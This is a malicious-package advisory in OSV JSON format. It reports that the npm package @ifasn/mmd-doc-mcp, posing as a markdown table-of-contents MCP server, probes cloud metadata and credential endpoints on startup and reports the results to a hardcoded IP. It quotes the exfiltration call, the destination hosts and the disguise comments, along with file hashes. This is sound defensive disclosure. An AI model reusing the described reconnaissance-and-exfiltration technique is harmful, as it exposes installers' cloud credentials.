{"id":"MAL-2026-18488","summary":"Malicious code in @ifasn/mmd-doc-mcp (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7)\nOn startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry(\"?stage=report&src=mmd-doc-mcp&nodes=\" + results.join(\",\"))` to `TELEMETRY_HOSTS = [\"http://121.199.24.94.nip.io\", \"http://121.199.24.94\"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.\n","modified":"2026-11-02T21:15:06.863171940Z","published":"2026-11-02T20:59:54Z","database_specific":{"malicious-packages-origins":[{"sha256":"405cdeb444a83f5bd2eb604feae38448230773dfa10a7a6ebc11b1ff4cea7d43","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-022511","import_time":"2026-11-02T21:10:56.712068848Z","modified_time":"2026-11-02T21:01:06Z"},{"id":"IN-MAL-2026-022502","import_time":"2026-11-02T21:10:55.99790764Z","modified_time":"2026-11-02T20:59:54Z","sha256":"e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7","source":"amazon-inspector","versions":["1.0.2"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@ifasn/mmd-doc-mcp/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@ifasn/mmd-doc-mcp/v/1.0.2"}],"affected":[{"package":{"name":"@ifasn/mmd-doc-mcp","ecosystem":"npm","purl":"pkg:npm/%40ifasn/mmd-doc-mcp"},"versions":["1.0.0","1.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"evidence_files":[{"sha256":"319948c35b452af8be4ddc69ba4e5b9ad5af2449304293d33880db4abd859c82","tlsh":"57e1b746a4fb24380269d074854bc81ff2b557133445daa5f68cc2993f894a8c6ebbfd","path":"index.js"}],"package_integrity":[{"filename":"mmd-doc-mcp-1.0.0.tgz","hashes":{"sha512_sri":"sha512-JTWI+TywxtGt8amwyDHbifxaJ8yfZSMgz/VcvmyDtfUtYST6IjdH1+qh83Po2+965lkggL/LQ0zSLaDIMew+Hw==","sha1":"d3a5f80cdcb9f5bf87d46e6de30194f16001ab15"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@ifasn/mmd-doc-mcp/MAL-2026-18488.json"}}],"schema_version":"1.9.2","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}